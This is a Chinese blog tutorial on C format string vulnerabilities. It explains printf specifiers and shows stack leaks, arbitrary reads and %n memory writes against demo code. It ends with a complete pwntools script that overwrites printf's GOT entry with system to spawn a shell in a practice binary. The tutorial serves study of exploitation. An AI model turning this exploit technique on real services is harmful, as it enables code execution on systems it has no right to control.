格式化字符串漏洞原理理解

格式化输出函数

C语言标准中定义了下面的格式化输出函数
#include <stdio.h>

int printf(const char *restrict format, ...);
int fprintf(FILE *restrict stream, const char *restrict format, ...);
int dprintf(int fd, const char *restrict format, ...);
int sprintf(char *restrict str, const char *restrict format, ...);
int snprintf(char *restrict str, size_t size, const char *restrict format, ...);

#include <stdarg.h>

int vprintf(const char *restrict format, va_list ap);
int vfprintf(FILE *restrict stream, const char *restrict format, va_list ap);
int vdprintf(int fd, const char *restrict format, va_list ap);
int vsprintf(char *restrict str, const char *restrict format, va_list ap);
int vsnprintf(char *restrict str, size_t size, const char *restrict format, va_list ap);
  • 格式化字符串是由普通字符(包含"%")和转换规则构成的字符序列
  • 一个转换规则由必选部分和可选部分组成;其中,其中只有转换指示符(type)是必选部分,用来表示转换类型
  • 可选部分(parameter)是一个POSIX扩展,不属于C99,用于指定某个参数,例如%2$d用于输出后面的第二个参数
  • 标志(flags)用来跳这个输出和打印的符号、空格、小数点等
  • 宽度(width)用来指定输出字符的最小个数
  • 精度(.precision)用来指示打印符号个数、小数位数或有效数字个数
  • 长度(length)用来指定参数大小
%[parameter][flags][width][.precision][length]type
一些常见的转换指示符如下
指示符    类型        输出
 %d     4-byte      Interger 
 %u     4-byte      Unsigned Integer
 %x     4-byte      Hex
 %s     4-byte ptr  String
 %c     1-byte      Character

长度      类型        输出
 hh     1-byte       char
 h      2-byte       short int
 l      4-byte       long int
 ll     8-byte       long long int
例子
printf("Hello %%");                     // "Hello %"

printf("Name: %s  Age: %d", "WT", 18);  // "Name: WT  Age: 18"

printf("%4s", "Hello World");           // "Hello World"

printf("%16s", "Hello World");          // "     Hello World"

printf("%2$c %1$c", 'A', 'B');          // "B A"

printf("%16s%n","XXX", &n);             //  n = 16

格式化字符串漏洞

基本原理

在X86结构下,格式化字符串的参数通过栈传递,根据cdecl的调用约定,在进入printf函数前,程序将参数从右往左依次压栈;进入printf函数之后,函数会解析第一个参数(格式化字符串),一次读取一个字符,如果字符不是"%",那么字符会被直接复制到输出。否则会读取下一个非空字符,获取相应的参数并解析输出

正常调用printf函数
![[Pasted image 20221004093744.png]]
当格式字符串要求的参数大于实际提供的参数 => 泄露栈数据
![[Pasted image 20221004094703.png]]
![[Pasted image 20221004094724.png]]

漏洞利用

格式化字符串漏洞的利用主要有:

  1. 使程序崩溃
  2. 栈数据泄露
  3. 任意地址内存泄露
  4. 任意地址内存覆盖
使程序崩溃

使用多个%s当作printf的格式化字符串参数即可让程序触发崩溃,原因是%s会让printf从栈中获取一个数字并将其当作一个地址,当该数字不是一个地址时,或该地址受到保护,都会使程序触发崩溃
![[Pasted image 20221004095906.png]]
![[Pasted image 20221004100209.png]]

栈数据泄露

在上面已经演示了按照顺序泄露栈数据,如果想只泄露指定的某个数据,可以通过%x$p的形式,例如下面泄露Canary值
![[Pasted image 20221004112705.png]]
![[Pasted image 20221004112906.png]]

任意地址内存泄露

攻击者使用类似"%s"的格式规范就可以泄露出参数(指针)所指向内存的数据,如果攻击者可以操纵这个参数的值,那么就可以泄露任意地址的内容
![[Pasted image 20221004153322.png]]
我们可以通过%7$p来打印我们输入的一个双字的内容
![[Pasted image 20221004153450.png]]
同样,当我们将p换成s,就能打印出我们输入的一个双字所指向内存的内容了
![[Pasted image 20221004153635.png]]
打印0x0804c018地址对应的内容(Hello)
![[Pasted image 20221004153748.png]]

任意地址内存覆盖

"%n"转换指示符将当前已经成功写入流或者缓冲区的字符个数存储到由参数指定的整数中演示代码如下

int id = 501;
void vuln()
{
    char s[64];
    scanf("%s", s);
    printf(s);
    printf("\nID => %d\n", id);
}
  • 变量id的内存地址 => 0x804c018
  1. 修改id的值为大于4的数![[Pasted image 20221005145341.png]]
  2. 修改id的值为一个小于4的数
    ![[Pasted image 20221005145638.png]]
  3. 修改id的值为一个地址0x8049186(134517126)
    ![[Pasted image 20221005153000.png]]

pwntools fmtstr

演示代码
void vuln()
{
    char s[1024];
    while(1)
    {
        memset(s, 0, 1024);
        read(0, s, 1024);
        printf(s);
        fflush(stdout);
    }
}
Exploit
from pwn import *

io = process('./fmt')
elf = ELF('./fmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

printf_got = elf.got['printf']

def fmt_exec(payload):
    io.sendline(payload)
    return io.readline()

offset = FmtStr(fmt_exec).offset
#获取printf真实地址
payload_1 = p32(printf_got) + '%{}$s'.format(offset).encode()
printf_addr = u32(fmt_exec(payload_1)[4:8])
#获取system真实地址
system_addr =  printf_addr - libc.sym['printf'] + libc.sym['system']
#将printf下got表指向的地址改成system的函数地址
payload_2 = fmtstr_payload(offset, {elf.got['printf'] : system_addr})
io.sendline(payload_2)

io.sendline(b'/bin/sh')
io.interactive()

![[Pasted image 20221005155330.png]]

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
seedlab 格式化字符串是一个开放式实验室实验项目,目的是为了帮助学生更好地理解和学习有关格式化字符串漏洞和防御措施。 格式化字符串漏洞是一种常见的安全漏洞,它可以通过利用输入参数中的格式化字符串来修改程序的运行时栈。这可能导致程序崩溃、信息泄露甚至远程代码执行的风险。 在 seedlab 格式化字符串实验中,学生使用 C 语言开发和测试程序,其中包含格式化字符串漏洞。学生可以在程序中选择不同的输入参数,并通过格式化字符串的方式来触发漏洞。他们还可以使用不同的实验工具和技术来实时监测和分析程序的运行状况,并尝试修复漏洞。 在实验过程中,学生将会学习以下主题: 1. 格式化字符串的基本概念和原理; 2. 格式化字符串漏洞的成因和危害; 3. 格式化字符串攻击的实施方法和技巧; 4. 格式化字符串漏洞的防御措施和修复方法。 通过实践和实验,学生可以更深入地理解格式化字符串漏洞以及如何预防和修复这种类型的漏洞。此外,这个实验还提供了实际应用场景和技术,帮助学生提高他们的漏洞挖掘和应对能力。 总之,seedlab 格式化字符串实验是一个具有教育价值的实验项目,通过实践和实验,帮助学生学习和理解有关格式化字符串漏洞的知识和技术,并提供了防御这种漏洞的实际应用方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值